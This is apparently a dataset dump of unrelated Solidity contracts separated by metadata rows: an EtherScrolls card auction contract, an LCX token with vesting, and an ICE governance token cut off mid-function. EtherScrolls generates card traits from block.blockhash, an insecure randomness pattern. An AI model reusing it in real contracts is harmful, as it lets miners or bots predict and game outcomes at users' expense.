function getSellerOfToken(uint cardNumber) public view returns (address);
}
contract DutchAuctionToBuyInterface is DutchAuctionInterface {
function DutchAuctionToBuy(address etherScrollsAddress, address master1, address master2) public;
function startAuction(uint cardNumber, uint startPrice, uint endPrice, uint duration, address seller) public;
function priceOfOfficalCardSold() public view returns (uint);
function bidFromEtherScrolls(uint cardNumber, address buyer) public payable;
function cancelBuyAuction(uint cardNumber, address requestor) public;
}
contract DutchAuctionToCraftInterface is DutchAuctionInterface {
function DutchAuctionToCraft(address etherScrollsAddress, address master1, address master2) public;
function startAuction(uint cardNumber, uint startPrice, uint endPrice, uint duration, address seller) public;
function priceOfOfficalCardSold() public view returns (uint);
function placeBidFromEtherScrolls(uint _tokenId) public payable;
function cancelCraftAuction(uint cardNumber, address requestor) public;
}
contract CardMarket is Card {
mapping (uint => uint) public numberOfBasesSold;
mapping (uint => uint) public numberOfAbilitiesSold;
uint16 lastAbilityToBeAddedToCirculation;
uint16 lastBaseToBeAddedToCirculation;
uint16[] arrayOfPossibleBases;
uint16[] arrayOfPossibleAbilities;
CraftingInterface public crafting;
uint maxRunes;
uint numberOfSpecialCardsCreated;
DutchAuctionToBuyInterface public dutchAuctionToBuy;
DutchAuctionToCraftInterface public dutchAuctionToCraft;
function CardMarket(address master1, address master2, address inputWithdrawAddress) public {
masterAddress1 = master1;
masterAddress2 = master2;
withdrawAddress = inputWithdrawAddress;
uint16[16] memory firstCard;
_createCard(firstCard, firstCard, 0, 0, 0, master1);
maxRunes = 300;
arrayOfPossibleBases = [uint16(0),uint16(1),uint16(2),uint16(3),uint16(4),uint16(5),
uint16(6),uint16(7),uint16(8),uint16(9),uint16(10),uint16(11),uint16(12),uint16(13),
uint16(14),uint16(15),uint16(16),uint16(17),uint16(18),uint16(19)];
lastBaseToBeAddedToCirculation = 19;
arrayOfPossibleAbilities = [uint16(0),uint16(1),uint16(2),uint16(3),uint16(4),uint16(5),
uint16(6),uint16(7),uint16(8),uint16(9),uint16(10),uint16(11),uint16(12),uint16(13),
uint16(14),uint16(15),uint16(16),uint16(17),uint16(18),uint16(19)];
lastAbilityToBeAddedToCirculation = 19;
}
function getBases() public view returns (uint16[]) {
return arrayOfPossibleBases;
}
function getAbilities() public view returns (uint16[]) {
return arrayOfPossibleAbilities;
}
function createInitialCards(uint32 count, uint16 base, uint16 ability) public masterRestricted {
uint16[16] memory bases = [uint16(0), uint16(1), uint16(2), uint16(3), uint16(4), uint16(5),uint16(6), uint16(0),
uint16(1), uint16(2), uint16(3),uint16(4), uint16(5),uint16(6), base, ability];
uint16[16] memory powers = [uint16(35), uint16(20), uint16(10), uint16(5), uint16(5), uint16(5), uint16(1), uint16(35),
uint16(21), uint16(14), uint16(10),uint16(9), uint16(8), uint16(3), uint16(9), uint16(7)];
for (uint i = 0; i < count; i++) {
if (base == 0) {
bases[14] = uint16((uint(block.blockhash(block.number - i - 1)) % 20));
bases[15] = uint16((uint(block.blockhash(block.number - i - 2)) % 20));
}
powers[14] = uint16((uint(block.blockhash(block.number - i - 3)) % 9) + 1);
powers[15] = uint16((uint(block.blockhash(block.number - i - 4)) % 9) + 1);
if (numberOfSpecialCardsCreated < 250) {
_createCard(bases, powers, 0, 0, 0, msg.sender);
numberOfSpecialCardsCreated++;
}
}
}
function withdraw() public {
require(msg.sender == masterAddress1 || msg.sender == masterAddress2 || msg.sender == withdrawAddress);
dutchAuctionToBuy.payMasters();
dutchAuctionToCraft.payMasters();
uint halfOfFunds = this.balance / 2;
masterAddress1.transfer(halfOfFunds);
masterAddress2.transfer(halfOfFunds);
}
function setBuyAuctionAddress(address _address) public masterRestricted {
dutchAuctionToBuy = DutchAuctionToBuyInterface(_address);
}
function setCraftAuctionAddress(address _address) public masterRestricted {
dutchAuctionToCraft = DutchAuctionToCraftInterface(_address);
}
function setMasterAddress1(address _newMaster) public {
require(msg.sender == masterAddress1);
masterAddress1 = _newMaster;
}
function setMasterAddress2(address _newMaster) public {
require(msg.sender == masterAddress2);
masterAddress2 = _newMaster;
}
function cancelAuctionToBuy(uint cardId) public {
dutchAuctionToBuy.cancelBuyAuction(cardId, msg.sender);
}
function cancelCraftingAuction(uint cardId) public {
dutchAuctionToCraft.cancelCraftAuction(cardId, msg.sender);
}
function createDutchAuctionToBuy(uint _cardNumber, uint startPrice,
uint endPrice, uint _lentghOfTime) public {
require(_lentghOfTime >= 10 minutes);
require(dutchAuctionToBuy.isForAuction(_cardNumber) == false);
require(dutchAuctionToCraft.isForAuction(_cardNumber) == false);
require(_owns(msg.sender, _cardNumber));
_approve(_cardNumber, dutchAuctionToBuy);
dutchAuctionToBuy.startAuction(_cardNumber, startPrice, endPrice, _lentghOfTime, msg.sender);
}
function startCraftingAuction(uint _cardNumber, uint startPrice, uint endPrice,
uint _lentghOfTime) public {
require(_lentghOfTime >= 1 minutes);
require(_owns(msg.sender, _cardNumber));
CardStructure storage card = allCards[_cardNumber];
require(card.canCraftAt <= now);
require(dutchAuctionToBuy.isForAuction(_cardNumber) == false);
require(dutchAuctionToCraft.isForAuction(_cardNumber) == false);
_approve(_cardNumber, dutchAuctionToCraft);
dutchAuctionToCraft.startAuction(_cardNumber, startPrice, endPrice, _lentghOfTime, msg.sender);
}
function craftTwoCards(uint _craftedFromLeft, uint _craftedFromRight) public {
require(_owns(msg.sender, _craftedFromLeft));
require(_owns(msg.sender, _craftedFromRight));
require((isOnAuctionToBuy(_craftedFromLeft) == false) && (isOnCraftingAuction(_craftedFromLeft) == false));
require(_craftedFromLeft != _craftedFromRight);
CardStructure storage leftCard = allCards[_craftedFromLeft];
CardStructure storage rightCard = allCards[_craftedFromRight];
require(leftCard.canCraftAt <= now);
require(rightCard.canCraftAt <= now);
spawnCard(_craftedFromLeft, _craftedFromRight);
}
function isOnCraftingAuction(uint cardNumber) public view returns (bool) {
return (dutchAuctionToCraft.isForAuction(cardNumber) && dutchAuctionToCraft.isValidAuction(cardNumber));
}
function isOnAuctionToBuy(uint cardNumber) public view returns (bool) {
return (dutchAuctionToBuy.isForAuction(cardNumber) && dutchAuctionToBuy.isValidAuction(cardNumber));
}
function getCardBuyAuction(uint cardNumber) public view returns(uint startingPrice, uint endPrice, uint duration, address seller,
uint startedAt) {
return dutchAuctionToBuy.getAuction(cardNumber);
}
function getCraftingAuction(uint cardNumber) public view returns(uint startingPrice, uint endPrice, uint duration, address seller,
uint startedAt) {
return dutchAuctionToCraft.getAuction(cardNumber);
}
function getActualPriceOfCardOnBuyAuction (uint cardNumber) public view returns (uint) {
return dutchAuctionToBuy.getCurrentPrice(cardNumber);
}
function getActualPriceOfCardOnCraftAuction (uint cardNumber) public view returns (uint) {
return dutchAuctionToCraft.getCurrentPrice(cardNumber);
}
function setCraftingAddress(address _address) public masterRestricted {
CraftingInterface candidateContract = CraftingInterface(_address);
crafting = candidateContract;
}
function getDutchAuctionToCraftAddress() public view returns (address) {
return address(dutchAuctionToCraft);
}
function getDutchAuctionToBuyAddress() public view returns (address) {
return address(dutchAuctionToBuy);
}
function _startCraftRecovery(CardStructure storage card) internal {
uint base = card.generation + card.difficulty + 1;
if (base < 6) {
base = base * (1 minutes);
} else if (base < 11) {
base = (base - 5) * (1 hours);
} else {
base = (base - 10) * (1 days);
}
base = base * 2;
card.canCraftAt = uint64(now + base);
if (card.difficulty < 15) {
card.difficulty++;
}
}
function bidOnCraftAuction(uint cardIdToBidOn, uint cardIdToCraftWith) public payable {
require(_owns(msg.sender, cardIdToCraftWith));
CardStructure storage cardToBidOn = allCards[cardIdToBidOn];
CardStructure storage cardToCraftWith = allCards[cardIdToCraftWith];
require(cardToCraftWith.canCraftAt <= now);
require(cardToBidOn.canCraftAt <= now);
require(cardIdToBidOn != cardIdToCraftWith);
uint bidAmount = msg.value;
dutchAuctionToCraft.placeBidFromEtherScrolls.value(bidAmount)(cardIdToBidOn);
spawnCard(cardIdToCraftWith, cardIdToBidOn);
}
function spawnCard(uint _craftedFromLeft, uint _craftedFromRight) internal returns(uint) {
CardStructure storage leftCard = allCards[_craftedFromLeft];
CardStructure storage rightCard = allCards[_craftedFromRight];
_startCraftRecovery(rightCard);
_startCraftRecovery(leftCard);
uint16 parentGen = leftCard.generation;
if (rightCard.generation > leftCard.generation) {
parentGen = rightCard.generation;
}
parentGen += 1;
if (parentGen > 18) {
parentGen = 18;
}
uint16[16] memory runes;
uint16[16] memory powers;
(runes, powers) = crafting.craft(leftCard.runes, leftCard.powers, rightCard.runes, rightCard.powers);
address owner = indexToOwner[_craftedFromLeft];
return _createCard(runes, powers, _craftedFromLeft, _craftedFromRight, parentGen, owner);
}
function() external payable {}
function bidOnAuctionToBuy(uint cardNumber) public payable {
address seller = dutchAuctionToBuy.getSellerOfToken(cardNumber);
uint bidAmount = msg.value;
dutchAuctionToBuy.bidFromEtherScrolls.value(bidAmount)(cardNumber, msg.sender);
if (seller == address(this)) {
spawnNewZeroCardInternal();
}
}
function spawnNewZeroCard() public masterRestricted {
if (numberOfSpecialCardsCreated < 250) {
spawnNewZeroCardInternal();
numberOfSpecialCardsCreated++;
}
}
function spawnNewZeroCardInternal() internal {
uint16[16] memory runes = generateRunes();
uint16 x = uint16(uint(block.blockhash(block.number - 1)) % 9) + 1;
uint16 y = uint16(uint(block.blockhash(block.number - 2)) % 9) + 1;
uint16[16] memory powers = [uint16(25), uint16(10), uint16(5), uint16(0), uint16(0), uint16(0), uint16(0),
uint16(25), uint16(10), uint16(5), uint16(0), uint16(0), uint16(0), uint16(0), x, y];
uint cardNumber = _createCard(runes, powers, 0, 0, 0, address(this));
_approve(cardNumber, dutchAuctionToBuy);
uint price = dutchAuctionToBuy.priceOfOfficalCardSold() * 2;
if (price < 11000000000000000) {
price = 11000000000000000;
}
dutchAuctionToBuy.startAuction(cardNumber, price, 0, 2 days, address(this));
}
function giftCard(uint cardId, address reciever) public {
require((isOnAuctionToBuy(cardId) == false) && (isOnCraftingAuction(cardId) == false));
require(ownerOf(cardId) == msg.sender);
transfer(reciever, cardId);
Gift(cardId, msg.sender, reciever);
}
function generateRunes() internal returns (uint16[16]) {
uint i = 1;
uint lastBaseIndex = arrayOfPossibleBases.length;
uint16 base1 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
uint16 base2 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
uint16 base3 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
while (base1 == base2 || base2 == base3 || base3 == base1) {
base1 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
base2 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
base3 = uint16(uint(block.blockhash(block.number - i)) % lastBaseIndex);
i++;
}
base1 = arrayOfPossibleBases[base1];
base2 = arrayOfPossibleBases[base2];
base3 = arrayOfPossibleBases[base3];
uint lastAbilityIndex = arrayOfPossibleAbilities.length;
uint16 ability1 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
uint16 ability2 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
uint16 ability3 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
while (ability1 == ability2 || ability2 == ability3 || ability3 == ability1) {
ability1 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
ability2 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
ability3 = uint16(uint(block.blockhash(block.number - i)) % lastAbilityIndex);
i++;
}
ability1 = arrayOfPossibleAbilities[ability1];
ability2 = arrayOfPossibleAbilities[ability2];
ability3 = arrayOfPossibleAbilities[ability3];
numberOfBasesSold[base1]++;
numberOfAbilitiesSold[ability1]++;
if (numberOfBasesSold[base1] > maxRunes) {
for (i = 0; i < arrayOfPossibleBases.length; i++) {
if (arrayOfPossibleBases[i] == base1) {
lastBaseToBeAddedToCirculation++;
arrayOfPossibleBases[i] = lastBaseToBeAddedToCirculation;
break;
}
}
}
if (numberOfAbilitiesSold[ability1] > maxRunes) {
for (i = 0; i < arrayOfPossibleAbilities.length; i++) {
if (arrayOfPossibleAbilities[i] == ability1) {
lastAbilityToBeAddedToCirculation++;
arrayOfPossibleAbilities[i] = lastAbilityToBeAddedToCirculation;
break;
}
}
}
return [base1, base2, base3, uint16(0), uint16(0), uint16(0), uint16(0),
ability1, ability2, ability3, uint16(0), uint16(0), uint16(0), uint16(0), base1, ability1];
}
}
contract EtherScrolls is CardMarket {
function EtherScrolls(address master1, address master2, address withdrawAddress) public CardMarket(master1, master2, withdrawAddress) {}
}
| 163,494 | 781 |
d182266083cad38c10739371101079e505af2cd0d7c7003e170d5e391998291b
| 19,563 |
.sol
|
Solidity
| false |
313659237
|
nelaturuk/verisolid_journal_experiments
|
919c4a29187e561681ab0197059c31e8899d88f5
|
case-studies/ERC20contracts/Type 1/LCX.sol
| 3,103 | 11,614 |
pragma solidity 0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct VestedToken{
uint256 cliff;
uint256 start;
uint256 duration;
uint256 releasedToken;
uint256 totalToken;
bool revoked;
}
mapping (address => VestedToken) public vestedUser;
// default Vesting parameter values
uint256 private _cliff = 2592000; // 30 days period
uint256 private _duration = 93312000; // for 3 years
bool private _revoked = false;
IERC20 public LCXToken;
event TokenReleased(address indexed account, uint256 amount);
event VestingRevoked(address indexed account);
modifier onlyLCXTokenAndOwner() {
require(msg.sender==owner() || msg.sender == address(LCXToken));
_;
}
function setTokenAddress(IERC20 token) public onlyOwner returns(bool){
LCXToken = token;
return true;
}
function setDefaultVesting(address account, uint256 amount) public onlyLCXTokenAndOwner returns(bool){
_setDefaultVesting(account, amount);
return true;
}
function _setDefaultVesting(address account, uint256 amount) internal {
require(account!=address(0));
VestedToken storage vested = vestedUser[account];
vested.cliff = _cliff;
vested.start = block.timestamp;
vested.duration = _duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = _revoked;
}
function setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) public onlyLCXTokenAndOwner returns(bool){
_setVesting(account, amount, cliff, duration, startAt);
return true;
}
function _setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) internal {
require(account!=address(0));
require(cliff<=duration);
VestedToken storage vested = vestedUser[account];
vested.cliff = cliff;
vested.start = startAt;
vested.duration = duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = false;
}
function releaseMyToken() public returns(bool) {
releaseToken(msg.sender);
return true;
}
function releaseToken(address account) public {
require(account != address(0));
VestedToken storage vested = vestedUser[account];
uint256 unreleasedToken = _releasableAmount(account); // total releasable token currently
require(unreleasedToken>0);
vested.releasedToken = vested.releasedToken.add(unreleasedToken);
LCXToken.safeTransfer(account,unreleasedToken);
emit TokenReleased(account, unreleasedToken);
}
function _releasableAmount(address account) internal view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
function _vestedAmount(address account) internal view returns (uint256) {
VestedToken storage vested = vestedUser[account];
uint256 totalToken = vested.totalToken;
if(block.timestamp < vested.start.add(vested.cliff)){
return 0;
}else if(block.timestamp >= vested.start.add(vested.duration) || vested.revoked){
return totalToken;
}else{
uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(vested.cliff);
return totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(vested.duration);
}
}
function revoke(address account) public onlyOwner {
VestedToken storage vested = vestedUser[account];
require(!vested.revoked);
uint256 balance = vested.totalToken;
uint256 unreleased = _releasableAmount(account);
uint256 refund = balance.sub(unreleased);
vested.revoked = true;
vested.totalToken = unreleased;
LCXToken.safeTransfer(owner(), refund);
emit VestingRevoked(account);
}
}
contract lcxToken is IERC20, Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
TokenVesting public vestingContractAddress;
string public constant name = 'LCX';
string public constant symbol = 'LCX';
uint256 public constant decimals = 18;
constructor(uint256 totalSupply) public{
_totalSupply = totalSupply.mul(10**decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
function setTokenVestingAddress(TokenVesting tokenVestingAddress) public onlyOwner returns(bool){
vestingContractAddress = tokenVestingAddress;
return true;
}
function setDefaultVestingToken(address account, uint256 amount) public onlyOwner returns(bool){
vestingContractAddress.setDefaultVesting(account, amount);
_transfer(msg.sender,address(vestingContractAddress), amount);
return true;
}
function setVestingToken(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) public onlyOwner returns(bool){
vestingContractAddress.setVesting(account, amount, cliff, duration, startAt);
_transfer(msg.sender ,address(vestingContractAddress), amount);
return true;
}
function batchTransfer(address[] memory accounts, uint256[] memory values) public onlyOwner returns(bool){
require(accounts.length == values.length);
for(uint256 i=0;i< accounts.length;i++){
_transfer(msg.sender, accounts[i], values[i]);
}
return true;
}
}
| 156,253 | 782 |
1cedea530df0629961e9128801c1fc605b3eb031540215289c9d2e87109e15d6
| 21,355 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x656ac461752675ca02e802668E07e389ED8Ae4a8/contract.sol
| 3,625 | 13,600 |
// Root file: contracts/RewardToken.sol
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ICE {
/// @notice EIP-20 token name for this token
string public constant name = "ICE Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "ICE";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 300000e18; // 300,000 ICE
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "ICE::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "ICE::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ICE::permit: invalid signature");
require(signatory == owner, "ICE::permit: unauthorized");
require(now <= deadline, "ICE::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "ICE::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "ICE::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "ICE::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ICE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ICE::delegateBySig: invalid nonce");
require(now <= expiry, "ICE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "ICE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "ICE::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "ICE::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "ICE::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "ICE::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "ICE::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
